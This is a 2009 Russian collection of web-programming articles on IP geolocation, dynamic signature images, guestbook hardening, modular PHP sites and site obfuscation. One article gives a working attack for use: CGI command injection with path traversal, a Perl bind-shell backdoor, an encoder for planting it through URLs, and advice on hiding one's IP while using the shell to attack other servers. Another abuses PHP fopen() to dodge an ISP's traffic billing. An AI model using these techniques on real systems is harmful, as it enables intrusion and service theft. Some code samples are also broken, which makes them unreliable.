 566078958
|
Главная » Программирование
|
|
|
|
В этой статье будет рассматриваться способ определить страну пришедшего
на ваш сайт пользователя. Применять это все можно для разных целей: как
у меня, просто потому что приятно, для автоматического определения
языка вывода (для "многоязычных" сайтов) или еще для чего-то... Из ПО
нам понадобятся установленные PHP и PostgreSQL (можно все легко
переделать и под MySQL). Так же нам необходима база соответствий
IP-адресов конкретным странам, ее можно взять с этого сайта
(http://inattack.ru/download/art/ip-to-country.csv.zip). Для тех, кто
скачал SQL файл, я описывать процесс занесения в базу не буду - думаю и
так все понятно, для остальных же приведу как пример один из вариантов,
хотя конечно существует великое множество решений задачи о перегонке
данных в формате CSV в базу данных. Для начала необходимо создать
таблицу в базе данных, назовем ее countries:
CREATE TABLE countries (
short character varying(2),
nshort character varying(3),
country_name character varying(50),
start_ip bigint,
stop_ip bigint
);
Итак для превращения CSV файла в базу данных применять такой код:
//Параметры для доступа к БД
define ("DB_USER", "dbuser");
define ("DB_PASSWORD", "dbpasswd");
define ("DB_DB", "mydb");
$conn_str=sprintf("dbname=%s user=%s password=%s",
DB_DB, DB_USER, DB_PASSWORD);
$conn=pg_connect($conn_str);
//Путь к CSV файлу
$csv="/usr/home/iptc/ip-to-country.csv";
$countrys=file($csv);
while (list(,$value)=each($countrys)) {
//Разборка строки для занесения в базу
if (preg_match('/"([0-9]+)","([0-9]+)", "
(\w+)","(\w+)","(.+)"/',$value,$match)) {
// Формируем и отправляем запрос к БД
pg_query ($conn, "INSERT INTO countries
(start_ip, stop_ip, short, nshort,
country_name) values (".$match[1].",".$match[2].",'"
.$match[3]."','".$match[4]."','".$match[5]."')");
}
}
echo ("OK!");
?>
Тут следует отметить, что на не очень быстрых серверах возможно
вылетание скрипта по таймауту (см. параметр max_execution_time в
php.ini). На последнем этапе подготовки - создадим индекс для более
быстрого поиска: CREATE INDEX ips ON countries USING btree (start_ip,
stop_ip); Определять из какой страны пришел пользователь мы будем по
переменной $_SERVER["REMOTE_ADDR"] которая в большинстве случаев
содержит IP адрес прокси-сервера, хотя бывают конечно варианты... В
моём случае выводим приветствие с указанием строки и подставляю
картинку соответствующего флага, кому это не нужно легко смогут
подчистить.
<?php
// Запрос к базе данных
$result=pg_query($conn, sprintf("SELECT short, country_name FROM
countries WHERE start_ip<'%u' AND
stop_ip>'%u'",ip2long($_SERVER["REMOTE_ADDR"]), ip2long($_SERVER
// Разбираем результат
if (pg_num_rows($result)==1) {
$row = pg_fetch_object($result,0);
printf("<center>You are from:<br /><img src=\"
./images/flags/%s.gif\"><br />
<strong>%s</strong></center><hr />",strtolower($row->short)
,ucwords(strtolower($row->absolute)));
}
else {
print('Нет данных для этого IP');
}
|
Скрины:
Дата: 06.12.2009
Добавил: www
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
Вступление
##########
Итак, Вы, возможно, хотите сделать подпись, в которой кроме вашего изображения и данных
будут ещё и данные из заголовка HTTP запроса, например ip, браузер, провайдер или ось
смотрящего сей баннер.
Сделать это достаточно просто. Для этого необходимо:
-хостинг с поддержкой PHP и .htaccess;
-своя картинка;
-прямые руки.
Для этого не потребуются (хотя и приветствуются) зание PHP и наличие мозга в черепной
коробке.
Своя картинка
#############
Рисуем картинку/лого/аватор. Только поаккуратнее, и оставляем свободное место для текста,
который будет выводить скрипт. Сохраняем в формате png под именем "img.png".
Скрипт
######
В файле с именем "logo.png" сохраняем нижеследующее:
<?php
Header("Content-type: image/png");
$string="Your IP is $REMOTE_ADDR";
$im = ImageCreateFromPng("img.png");
$c = ImageColorAllocate($im, 225, 225, 225);
ImageString($im,3,75,43, $string,$c);
ImagePng($im);
ImageDestroy($im);
?>
Теперь объясняю:
<?php
Начало искрипта
Header("Content-type: image/png");
Это нужно для определения типа документа
$string="Your IP is $REMOTE_ADDR";
А это сам текст, который будет выводиться.
Сюда можно записаль любую переменную из хэдеров. В моём случае это $REMOTE_ADDR.
$im = ImageCreateFromPng("img.png");
Создаем картинку средствами PHP: img.png - ваша нарисованная картинка, узнали?
$c = ImageColorAllocate($im, 225, 225, 225);
Собственно, цвет. Три цифры - RGB. Красная, зеленая и синяя составляющии.
ImageString($im,3,75, 43, $string,$c);
Собственно, пишем по картинке. Вторая переменная (3) - размер; третья (75) и
четвертая (43) - расстояние от левого верхнего угла по горизонтали и вертикали,
пятая ($string) - текст, шестая ($c) - цвет.
ImagePng($im);
Мы её выводим на экран.
ImageDestroy($im);
Ну теперь всё, уничтожаем, синтаксис требует =).
?>
Конец скрипта
Хостинг
#######
Наилучшим результатом цена/качество из мною известных хостингов отличается
Фатал.ру[ http://www.fatal.ru ]
Зарегистриуйтесь, войдите по FTP, создайте папку (например logo) и залейте туда
два файла. Картинку и скрипт.
Теперь чтобы файлы с расширением png обрабатывались не как картинки, а как скрипты
php, мы должны его настроить. Создаем файл blabla.txt и вписываете в него строку:
AddType application/x-httpd-php .png
Тоже заливаем его на сервер. Теперь переименовываем его в ".htaccess".
Он становится скрытым и больше не мешает.
Заключение
##########
Всё, скрипт готов. Можно размещать в качестве аваторов/подписей на форумах или
делать с ним то, для чего вы его делали.
Но тут у вас простор для творчества: скриптик этот может обрабатывать cookies,
что поможет вам сделать что-то типа аваторки с бомбой, шнур которой будет уменьшаться.
или показывать текущее время. Короче думайте и творите!
|
Скрины:
Дата: 06.12.2009
Добавил: www
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
Эта статья показывает, что PHP представляет собой определенную уязвимость в
защите сервера.
Я подключен к Интернету по выделенному каналу, т.е.
плачу не за время, проведенное в Инете, а за трафик - количество скачанной и
выкаченной оттуда информации. Среди прочих сервисов провайдер (назовем его
www.prov.ru) предоставляет юзерам домашние странички с адресом вида
www.prov.ru/user/; при этом пользователям разрешено выполнять скрипты на PHP, но
с определенными предосторожностями - запрещен unlink() и, как следует отсюда,
fwrite() (так называемый safe mode). Доступ к MySQL тоже не предоставляется.
Одним словом - все как-то тухло. Убедившись, что при таких условиях невозможно
заставить функционировать даже простейший счетчик, я решил воспользоваться
хостингом от WallST и забыл про сервисы провайдера. Было это с полгода назад,
когда я только начинал знакомиться с PHP.
Но вот недавно мне в очередной
раз отключили Инет за неуплату. Теперь я мог зайти только на www.prov.ru (в том
числе и на домашние странички пользователей) и его поддомены - до них трафик не
считается. И вот, после того, как я проглядел страницы всех юзеров и все
поддомены, мне захотелось большего. И тут я вспомнил про одну интересную
особенность функции fopen() - если в качестве параметра имени файла указать не
локальный адрес (типа /home/user/file.ext), а удаленный
(http://www.site.ru/page.html), то будет установлено HTTP соединение с
www.site.ru, послан запрос на page.html и этот самый page.html будет скачан во
временный каталог PHP! При этом юзеру, запустившему сей хитрый PHP скрипт, не
засчитается ни байта трафика. Каково? Итак, если админы при конифгурировании
сервака проглядели эту дыру... Ну-ка
проверим!
-test.php-
$testpointer=@fopen("http://www.ya.ru/",r);
if($testpointer)
echo("works!!!");
else
echo("suxx :(");
?>
-test.php end-
Естественно, скрипт вернул слово
works ;) Я немедленно начал с дикими криками прыгать до потолка. Напрыгавшись, я
стал думать, что можно извлечь из данной байды. И вот что
придумал:
-surf.php-
<form action=surf.php>
<input type=text size=90 value="" name=url>
<input type=submit value=" go! ">
</form>
<hr width=100%>
<br><br>
$url="http://".$url;
$filepointer=@fopen($url,r);
$infa=fread($filepointer,10000000);
echo($infa);
?>
-surf.php end-
Этот скрипт позволяет бесплатно читать html страницы (естественно,
без картинок, фреймов, флеша и прочей фигни). Минусы - неудобная навигация.
Плюсы - бесплатно и быстро (напоминаю, что файлы грузятся не с африканского
сервера, а с машины моего провайдера, до которого у меня 2mbit канал). Вволю
начитавшись мануалов по PHP, разных статей и анекдотов, я решил послушать
музыку. Здесь и возник очередной облом - когда я попробовал вместо .htm файла
указать .mp3, Internet Explorer выдал мне набор бессмысленных символов. Я
сохранил полученный файл на винт и в Блокноте отрезал от него кусок html кода
(форма и т.д.). Полученный файл, естественно, и не думал играться в Winamp`е.
Помозговав еще чуть-чуть, я набросал новый скрипт:
-mp3.php-
$url=getenv('QUERY_STRING');
$pointer=fopen($url,r);
$mp3=fread($pointer,15000000);
echo($mp3);
fclose($pointer);
?>
-mp3.php end-
Вызвал полученный
скрипт вот так:
www.prov.ru/user/mp3.php?http://www.mp3-warez.com/mp3database/song.mp3. Через
полминуты 5-меговый файл скачался. Дальше - дело техники: в папке кэша IE
(temporary internet files) находится по размеру, дате или имени наш файл
(mp3.php) и переименовывается в pesna.mp3. Вперед к прослушиванию :)
Итак, как видите, без PHP сейчас никуда :) P.S. Статья была написана с
целью показать наиболее распространенные ошибки админов. Эта может привести к
огромному трафику, за который придется платить тому, у кого они арендуют канал.
Будьте осторожны :)
|
Скрины:
Дата: 06.12.2009
Добавил: www
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
Данная статья не претендует на роль всеобъемлющего руководства на тему
"как сделать так, чтоб меня никто не поломал". Так не бывает.
Единственная цель этой статьи - показать некоторые используемые мной
приемы для защиты веб-приложений типа WWW-чатов, гостевых книг, веб-
форумов и других приложений подобного рода. Итак, давайте рассмотрим
некоторые приемы программирования на примере некоей гостевой книги,
написанной на PHP.
Первой заповедью веб-программиста, желающего написать более-менее
защищенное веб-приложение, должно стать "Hикогда не верь данным,
присылаемым тебе пользователем". Пользователи - это по определению
такие злобные хакеры, которые
только и ищут момента, как бы напихать в формы ввода всякую дрянь типа
PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому
подобных ужасных вещей. Поэтому первое, что необходимо сделать - это
жесточайшим образом
отфильтровать все данные, присланные пользователем.
Допустим, у нас в гостевой книге существует 3 формы ввода: имя
пользователя, его e-mail и само по себе тело сообщения. Прежде всего,
ограничим количество данных, передаваемых из форм ввода чем-нибудь
вроде:
<input type=text name=username maxlength=20>
Hа роль настоящей защиты, конечно, это претендовать не может -
единственное назначение этого элемента - ограничить пользователя от
случайного ввода имени длиннее 20-ти символов. А для того, чтобы у
пользователя не возникло искушения
скачать документ с формами ввода и подправить параметр maxlength,
установим где-нибудь в самом начале скрипта, обрабатывающего данные,
проверку переменной окружения web-сервера HTTP-REFERER:
$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com")) {
echo "hacker? he-he...n";
exit;
}
?>
Теперь, если данные переданы не из форм документа, находящегося на
сервере http://www.myserver.com, хакеру будет выдано деморализующее
сообщение. Hа самом деле, и это тоже не может служить 100%-ой гарантией
того, что данные ДЕЙСТВИТЕЛЬHО переданы из нашего документа. В конце
концов, переменная HTTP_REFERER формируется браузером, и никто не может
помешать хакеру подправить код браузера, или просто зайти телнетом на
80-ый порт и сформировать свой запрос. Так что подобная защита годится
только от Hу Совсем Hеобразованных хакеров. Впрочем, по моим
наблюдениям, около 80% процентов злоумышленников на
этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет,
то ли просто лень. Лично я попросту вынес этот фрагмент кода в
отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на
обращение к переменной уходит немного - а береженого Бог бережет.
Следующим этапом станет пресловутая жесткая фильтрация переданных
данных. Прежде всего, не будем доверять переменной maxlength в формах
ввода и ручками порежем строку:
$username=substr($username,0,20);
Hе дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:
if (empty($username)) {
echo "invalid username";
exit;
}
Запретим пользователю использовать в своем имени любые символы, кроме
букв русского и латинского алфавита, знака "_" (подчерк), пробела и
цифр:
if (preg_match("/[^(w)|(x7F-xFF)|(s)]/",$username)) {
echo "invalid username";
exit;
}
Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить
наличие паттерна в строке или поменять один паттерн на другой,
использовать Перл-совместимые регулярные выражения (Perl-compatible
Regular Expressions). То
же самое можно делать и используя стандартные PHP- шные ereg() и
eregi(). Я не буду приводить здесь эти примеры - это достаточно
подробно описано в мануале.
Для поля ввода адреса e-mail добавим в список разрешенных символов
знаки "@" и ".", иначе пользователь не сможет корректно ввести адрес.
Зато уберем русские буквы и пробел:
if (preg_match("/[^(w)|(@)|(.)]/",$usermail)) {
echo "invalid mail";
exit;
}
Поле ввода текста мы не будем подвергать таким жестким репрессиям -
перебирать все знаки препинания, которые можно использовать, попросту
лень, поэтому ограничимся использованием функций nl2br() и
htmlspecialchars() - это не даст
врагу понатыкать в текст сообщения html-тегов. Hекоторые разработчики,
наверное, скажут: "а мы все-таки очень хотим, чтобы пользователи
_могли_ вставлять теги". Если сильно неймется - можно сделать некие
тегозаменители, типа "текст, окруженный звездочками, будет высвечен
bold'ом.". Hо никогда не следует разрешать пользователям использование
тегов, подразумевающих подключение внешних ресурсов - от тривиального
<img> до супернавороченного <bgsound>.
Как-то раз меня попросили потестировать html-чат. Первым же замеченным
мной багом было именно разрешение вставки картинок. Учитывая еще пару
особенностей строения чата, через несколько минут у меня был файл, в
котором аккуратно были
перечислены IP-адреса, имена и пароли всех присутствовавших в этот
момент на чате пользователей. Как? Да очень просто - чату был послан
тег <img src=http://myserver.com/myscript.pl>, в результате чего
браузеры всех пользователей, присутствовавших в тот момент на чате,
вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей,
сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на
картинку, свалил мне в лог-файл половину переменных
окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого
пользователя. С вышеупомянутым результатом.
Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и
гостевых книгах - это красиво, но игра не стоит свеч - вряд ли
пользователи пойдут к Вам на книгу или в чат, зная, что их IP может
стать известным первому встречному хакеру. Да и не только IP -
возможности javascript'a я перечислять не буду :-)
Для примитивной гостевой книги перечисленных средств хватит, чтобы
сделать ее более-менее сложной для взлома. Однако для удобства, книги
обычно содержат некоторые возможности для модерирования - как минимум,
возможность удаления сообщений. Разрешенную, естественно, узкому (или
не очень) кругу лиц. Посмотрим, что можно сделать здесь.
Допустим, вся система модерирования книги также состоит из двух частей
- страницы со списком сообщений, где можно отмечать подлежащие удалению
сообщения, и непосредственно скрипта, удаляющего сообщения. Hазовем их
соответственно admin1.php и admin2.php.
Простейший и надежнейший способ аутентикации пользователя - размещение
скриптов в директории, защищенной файлом .htaccess. Для преодоления
такой защиты нужно уже не приложение ломать, а web-сервер. Что
несколько сложнее и уж, во всяком случае, не укладывается в рамки темы
этой статьи. Однако не всегда этот способ пригоден к употреблению -
иногда бывает надо проводить авторизацию средствами самого приложения.
Первый, самый простой способ - авторизация средствами HTTP - через код
401. При виде такого кода возврата, любой нормальный браузер высветит
окошко авторизации и попросит ввести логин и пароль. А в дальнейшем
браузер при получении кода 401 будет пытаться подсунуть web-серверу
текущие для данного realm'а логин и пароль, и только в случае неудачи
потребует повторной авторизации. Пример кода для вывода требования на
такую авторизацию есть во всех хрестоматиях и мануалах:
if (!isset($PHP_AUTH_USER)) {
Header("WWW-Authenticate: Basic realm="My Realm"");
Header("HTTP/1.0 401 Unauthorized");
exit;
}
Разместим этот кусочек кода в начале скрипта admin1.php. После его
выполнения, у нас будут две установленные переменные $PHP_AUTH_USER и
PHP_AUTH_PW, в которых соответственно будут лежать имя и пароль,
введенные пользователем. Их можно, к примеру, проверить по SQL-базе:
*** Внимание!!!***
В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.
$sql_statement="select password from peoples where name='$PHP_AUTH_USER'";
$result = mysql($dbname, $sql_statement);
$rpassword = mysql_result($result,0,'password');
$sql_statement = "select password('$PHP_AUTH_PW')";
$result = mysql($dbname, $sql_statement);
$password = mysql_result($result,0);
if ($password != $rpassword) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}
Упомянутая ошибка, между прочим, очень распространена среди начинающих
и невнимательных программистов. Когда- то я сам поймался на эту удочку
- по счастью, особого вреда это не принесло, не считая оставленных
хакером в новостной ленте нескольких нецензурных фраз.
Итак, раскрываю секрет: допустим, хакер вводит
заведомо несуществующее имя пользователя и пустой пароль. При этом в
результате выборки из базы переменная $rpassword принимает пустое
значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL
Password(), так же, впрочем, как и стандартный алгоритм Unix, при
попытке шифрования пустого пароля возвращает пустое значение. В итоге -
$password == $rpassword, условие выполняется и взломщик получает доступ
к
защищенной части приложения. Лечится это либо запрещением пустых
паролей, либо, на мой взгляд, более правильный путь - вставкой
следующего фрагмента кода:
if (mysql_numrows($result) != 1) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}
То есть - проверкой наличия одного и только одного пользователя в базе. Hи больше, ни меньше.
Точно такую же проверку на авторизацию стоит встроить и в скрипт
admin2.php. По идее, если пользователь хороший человек - то он приходит
к admin2.php через admin1.php, а значит, уже является авторизованным и
никаких повторных вопросов ему не будет - браузер втихомолку передаст
пароль. Если же нет - ну, тогда и поругаться не грех. ... Читать дальше »
|
Скрины:
Дата: 06.12.2009
Добавил: www
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
В этой статье я попытаюсь рассказать вам о такой вещи как backdoor (по
нашему это черный вход) и приведу пример этой программки, она будет
биндить шелл. Мы будем рассматривать способ записи нашего backdoora,
через браузер, используя уязвимость в cgi скриптах. Сразу приведу
пример типичной cgi ошибки. Допустим есть у нас вот такая ситуация:
www.HOST.ru/cgi-bin/script.pl?a=about.html Вроде ничего обычного мы тут
не видем, ну а если присмотреться, то замечаем, что скрипт script.pl,
открывает страницу about.html. Давайте попробуем вместо значения
about.html подставить вот такую строку ../../../../../../../bin/ls| (
скажу по секрету, мы выводим список файлов текущей папки ), если это у
вас это получилось, то можете считать, что пол дела мы уже сделали.
Теперь главное нам найти папку, в которую мы можем записать наш
backdoor, обычно этой папкой оказывается /tmp ( темповая папка,для
разного хлама, как кладовка ) или текущая ( если у вас на нее хватит
прав доступа ). Ок, нашли! Есть такая маленькая, замечательная команда
echo ( она должна быть вам знакома еще по ДОСу, если нет, то смотрите
P.S. ), с помощью нее можно "выводить" строки на экран. Если совместно
с ней использовать символ > или >> то можно, эти строки
записывать в файл ! Почуали к чему я клоню? Xехе. Ну так вот, Unix не
исключение и тоже имеет =) эту команду. Теперь с помощью этой команды
попытаемся записать наш backdoor, а вот кстати и он ( язык perl ):
use Socket;
$port = 31337;
socket (S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
setsockopt (S, SOL_SOCKET, SO_REUSEADDR,1);
bind (S, sockaddr_in ($port, INADDR_ANY));
listen (S, 50);
while (1){
accept (X, S);
if (!($pid = fork)){
if(!defined $pid){exit(0);}
open STDIN,"<&X";
open STDOUT,">&X";
open STDERR,">&X";
exec("/bin/sh -i");
close X;}}
Не хочу я вдаваться в описание этого backdoora, так как оно очень
простое, лучше вы посидите часок с книжкой в руках и поизучайте его.
Скажу лишь, что для ваших целей, он будет использовать порт 31337
(супер-секретный порт), вы можете поменять его на любой другой. Ну что,
давайте приступим: /bin/echo "use Socket;" > /tmp/shell.pl| (я
опустил полный адрес, сами уже можете дописывать) и так далее до
последней строчки, только в первой(!) записываемой строке, должен
стоять символ > а в последующих символ >> . Ну как, что-нить
получилось ? Хе, ну есс-но ! Просто символы такие как: ";", "&",
"", """, "$" - ГЛЮЧАТ (коротко и сердито, если не понятно, почему они
глючат то смотри P.S. ). Для того что бы это все дело обойти, надо
записывать некоторые эти символы в их шестнадцатеричном ( 0 .. F )
значении. Вот пример программы, которая будет обробатывать ваши
программы для записи их через echo ( написанна мною на начальном уровне
изучения perla, так что можно ее упростить ):
$check = 1;
unless (@ARGV > 1){die "Usage: $0 n"}
open(FILE,$ARGV[0]) || die "Can't open $ARGV[0]: $!n";
open(OUT,">$ARGV[0].out") || die "Can't open $ARGV[0]: $!n";
while (){chomp;
s/\/\\/g;
s/;/%3B/g;
s/$/\$/g;
s/"/\"/g;
s/ /%20/g;
s/&/%26/g;
print OUT "echo%20"";
print OUT $_;
if ($check){print OUT "" > $ARGV[1]|n";$check--;}
else {print OUT "" >> $ARGV[1]|n";}}
close(OUT) || die "Can't close $ARGV[0].out: $!n";
close(FILE) || die "Can't close $ARGV[0]: $!n";
Работать с ней надо так: perl echo.pl shell.pl /tmp/shell.pl
Выходной файл будет shell.pl.out. Ну а теперь, после небольшого сжатия
backdoor-a (убрал лишние пробелы и символы новой строки) и прогонкой
его под echo.pl получаем вот что:
echo%20"use%20Socket%3B$p=31337%3Bsocket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'))%3B" > /tmp/shell.pl|
Это только одна из строк backdoor-a, всего у меня их получилось 5,
кто меньше? Теперь копируем ее, вставляем в строку браузера после /bin/
и жмем Enter. После ввода все строк кода, проверяем, записался ли он
без ошибок: /bin/cat /tmp/shell.pl| Если все ок, то ищем место
расположения компилятора perl ( обычно он может лежать в одной из этой
папок /bin или /usr/bin или /usr/local/bin ). Когда нашли, то пишем
прмерно следующее: /usr/local/perl /tmp/shell.pl Запускаем telnet или
что еще у вас там, и коннектимся к порту который вы установили. Если
все ок, то должна появиться стока bash. Набирайте команду id и
наслаждайтесь =)
Всем хочется иметь shell в какой-нить Unix системе, для того что бы
через нее, нагибать другие сервера менее болезнено для себя. Желательно
заходить в эти самые shell-ы, через какой-нить socks сервер, это нужно
для того, что бы в логах, не было видно вашего IP, там будет виден
только IP socks сервера. Если вы работаете под Win32 то я вам посоветую
программу под названием SocksCap32.
Все, я побег за nbIBoM =)
|
Скрины:
Дата: 06.12.2009
Добавил: www
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
|
Я попытаюсь тут разъяснить то, как я подхожу к написанию сайтов, где
могут применять подключаемые модули. Пример тому известный скрипт
PHPNuke. Как бы не ругали его, подход, примененный в нем, к модульному
программированию очень удобен. Но из-за корявости общего кода применять
такой скрипт на серьезных сайтах, точнее скажем порталах, с большим
количеством посетителей, не рекомендуется. Почему? Скрипт работает
медленно, очень большая нагрузка на базу данных. Можно еще очень много
чего описать, но это уже материал для другой статьи. Если кому
интересно , то в интернете полно описаний этого движка. В
<неудобоваримости> PHPNuke я убедился сам. Мой основной проект
NVIDIA BIOS Collection в начала базировался на PHPNuke, но постоянные
проблемы с хостингом заставили меня начать разработку своей система
портала с нуля. Из PHPNuke я взять только суть модулей, все остальное
же делал сам. И так для начала. Прежде всего, надо продумать систему
каталогов, что и где будет лежать. Вот примерный вариант.
- /mods/ - каталог для хранения модулей
- /img/ - картинки
- /include/ - каталог вспомогательных файлов
Это что нам сейчас пока надо. Применять блоки и скины мы пока не будем. В моем портале также были другие каталоги
- /blocks/ - Тоже своего рода модули, но не выводящие сами информацию, а возвращающие заполненную переменную.
- /js/ - каталог для Java скриптов
- /theme/ - каталог выбора тем или, грубо говоря, набор скинов для сайта.
- /files/ - файлы для скачивания
ну и другие каталоги.
В корневом каталоге храниться всего один файл index.php и вся
работа идет через него. Теперь надо решить как будет выглядеть сам
сайт. Для нашего примера подойдет наипростейший вариант дизайна , верх
сайта , низ сайта, а в середине наша информация из модулей. Для этого в
каталоге include создадим два файла top.php и bottom.php, что
соответственно будет верхней частью дизайна и нижней частью дизайна. top.php
echo "
$PAGE_TITLE
style='border-collapse: collapse' bordercolor='#111111' width='100%'
id='AutoNumber1'>
здесь выводится шапка |
Меню сайта
- Модуль1
- Модуль2
|
";
?>
Предвижу комментарии, где скажут, почему я не вывожу HTML код
отдельно, а php отдельно. Я приучил себя к написанию 100% PHP кода, с
одной стороны не очень и красиво может выглядеть, но мне так удобнее.
Если кто-то хочет писать по-другому, то тут я не советчик. Заметьте
переменную $PAGE_TITLE в top.php. В моей реализации вся информация о
модулях храниться в базе данных, где помимо имени файла модуля
храниться также и его название, которое потом и кладется в $PAGE_TITLE,
для вывода его в головок браузера. bottom.php
<php
echo "& lt;/td>
</tr>
<tr>
<td width='100%' align='left' valign='top' colspan='2'
bgcolor='#DDFFFF'> </td>
</tr>
</table>
</body>
</html>";
?>
Также создадим файл конфигурации config.php и положим его в каталог include.
config.php
#Модуль по умолчанию
$sys_def_mod="mod1";
?>
Вот примерная схема работы index.php
include("inc/config.php");
if (!isset($mod) || ($mod=="") || (!file_exists ("mods/$mod.php"))) {
$mod=$sys_def_mod;
#Проверка на существование переменной $mod, и существования такого модуля
# если неверное условие то присваиваем ему значением модуля по умолчанию
}
$PAGE_TITLE="Модуль $mod";
include("inc/top.php");
include("inc/$mod.php");
include("inc/bottom.php");
?>
Теперь создадим два файла mod1.php и mod2.php и положим их в каталог mods.
mod1.php
if (!eregi("index.php", $PHP_SELF)) { die ("Access denied"); }
echo "Это модуль номер 1!
";
echo "А здесь можно посмотреть на модуль номер 2";
?>
mod2.php
if (!eregi("index.php", $PHP_SELF)) { die ("Access denied"); }
echo "Это модуль номер 2!
";
echo "А здесь можно посмотреть на модуль номер 1";
?>
Поясню немного вот эту строку
if (!eregi("index.php", $PHP_SELF)) { die ("Access denied"); }
В каждый модуль желательно включать такую проверку во избежании
вызова файла модуля вне самого index.php. На примере моего портала до
вызова модуля у меня идет подключение в базе данных, считывание
некоторых глобальных переменных и без них, ни один модуль сам по себе
работать не сможет. Так что лучше всего просто запретить вызов модуля
напрямую. Вызов модулей в данном случае производится через строку в
виде index.php?mod=имя модуля, но тут можно применить и систему ЧПУ.
Тогда URL примет вид index.php/имя модуля/ Вот в принципе очень грубая схема реализации модулей. Можно
добавить любой модуль, просто положив его в каталог mods/ и
придерживаясь общей концепции работы, построить очень сложный сайт. В
чем удобства работы? По сути вы отодвигаете от себя основную заботу по
натягиванию кода на дизайн. Это делает один раз в index.php. Сам же
модуль должен только работать и приносить пользу. Централизация сбора
основной информации из базы или конфигурационного файла, глобальные
переменные сайта, информация о пользователе и т.д. С другой стороны
есть недостатки (хотя при определенном взгляде они не кажутся
недостатками), скажем надо четко следить за тем какие имена переменных
используются до модуля, чтобы не перезаписать, случайно, их внутри
модуля. Один раз у меня такое случилось. После такого случая, я взял
для себя за правило называть системные переменные в таком виде $sys_имя
переменной. Другой очевидный недостаток это трудность реализации разных
вариантов дизайна для разных модулей. Но! Тут есть выход тоже. Если взять за правило, что каждый модуль обязан сам вывести
шапку и низ сайта, то вам уже предоставляется свобода по выбору что и
как выводить. К примеру, наши простые модули можно модифицировать в таком варианте.
if (!eregi("index.php", $PHP_SELF)) { die ("Access denied"); }
$PAGE_TITLE="Это Я, модуль номер 1!!!";
include("inc/top.php");
echo "Это модуль номер 1!
";
echo "А здесь можно
посмотреть на модуль номер 2";
include("inc/bottom.php");
?>
Как делать в данном и конкретном случае решать Вам. Я же просто
попытался направить тех, кто начинает писать на php, а может и тех, кто
уже пишет, на определенный вариант или стиль программирования.
|
Скрины:
Дата: 06.12.2009
Добавил: www
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
|
Интернет пережил пик своего бурного развития и сейчас собственных
сайтов нет разве что у домашних животных (хотя некоторые маргиналы
умудряются вести блоги за своих питомцев). Если проанализировать и
сопоставить количество созданных ресурсов и количество более-менее
разбирающихся в вопросах обеспечения сетевой безопасности людей, мы
получим довольно прискорбную картину. Главным бичом сайтостроительства,
как я считаю, являются свободно распространяемые скрипты. Так уж вышло,
что за годы через мои руки прошло огромное количество подобных
творений, и зачастую они оставляют весьма дурное впечатление. Самое
ужасное – это их открытый код, в котором хакеры выискивают тонны
уязвимостей, и часто встречающееся доверие к таким скриптам
пользователей, считающих создателей если не небожителями, то уж точно
кевинмитниками от программирования.
В данной статье я дам практические советы по обеспечению безопасности
динамического веб-проекта, поделюсь нестандартными методами защиты.
Много практики и минимум теории – её ищите в мануалах и книгах, а также
на просторах Сети. Кроме того, я не буду заострять внимание на всем
известных багах навроде "ядерного нуля” – читайте "Хакер”, и будет вам
счастье.
Для начала
Для начала определимся с конфигурацией. Мои примеры будут работать
на зыке Perl (я буду пояснять их, поэтому портирование на другие языки
не вызовет затруднений) и сервере Apache. На практически всех уважаемых
хостингах данные вещи присутствуют в необходимом объёме.
Стоит также пояснить, что я расскажу о методах защиты от проникновения
через веб-скрипты. Дырявые демоны, настройка фаервола и прочее выходят
за пределы данного материала.
Самоделкиным
Предположим, что мы забили на скрипты, написанные посторонними
товарищами, и решили писать движок "с нуля”. Похвально. Работа
закончена, критические ошибки исправлены, мастдайные баги пофиксены....
Что теперь? А теперь можно заняться отсечением хакеров уровнем повыше
ставших притчей во языцех скрипткидди. Итак, вот несколько эффективных
приёмов.
Скрытие языка программирования
Зачем хакеру знать, что наш сайт написан на PHP или Perl? Абсолютно
незачем. Смело переименовываем скрипты и даём им расширение .asp, а
затем соответственно настраиваем сервер на обработку .asp файлов как
Pl/php. Позволит отсечь часть нетерпеливых скрипткиддисов уже на первом
посещении.
Скрытие структуры сайта
Будем считать, что сердцем нашего сайта является файл index.pl,
лежащий в корне. Ему передаются два параметра: cat (раздел) и id
(идентификатор документа). Например, вот URL одной страницы:
http://megasite.ru/index.pl?cat=news&id=777. Прибегнем к помощи Mod
Rewrite, модуля апача, который установлен на многих хостингах, даже на
очень дешёвеньких. Открываем/создаём файл .htaccess, и в нем
прописываем следующие строчки:
RewriteEngine On
RewriteRule ^ ([a-zA-Z]+)/ ([0-9]+).html index.pl?cat=$1;id=$2
RewriteRule ^ ([a-zA-Z]+) index.pl?cat=$1
Тадам, теперь эта страница отзовётся по адресу
http://megasite.ru/news/777.html, а индекс новостей будет отзываться по
запросу http://megasite.ru/news. Пусть наивный атакующий считает, что
сайт состоит из хтмл-страниц и ищет админку. Можно, ради веселья,
замаскировать свой движок под какую-нибудь известную CMS. Пусть
скрипткидди попотеют :) Ещё одним плюсом такого похода является
отсечение кривых идентификаторов типа " ’1 ” и "../../” уже на уровне
запроса, до старта выполнения.
NB: не стоит забывать о фильтрации такой бяки и внутри скрипта.
Может статься, что его настоящий адрес станет известен, и тут уже Mod
Rewrite не спасёт, если не оградить скрипт от прямых запросов через тот
же модуль.
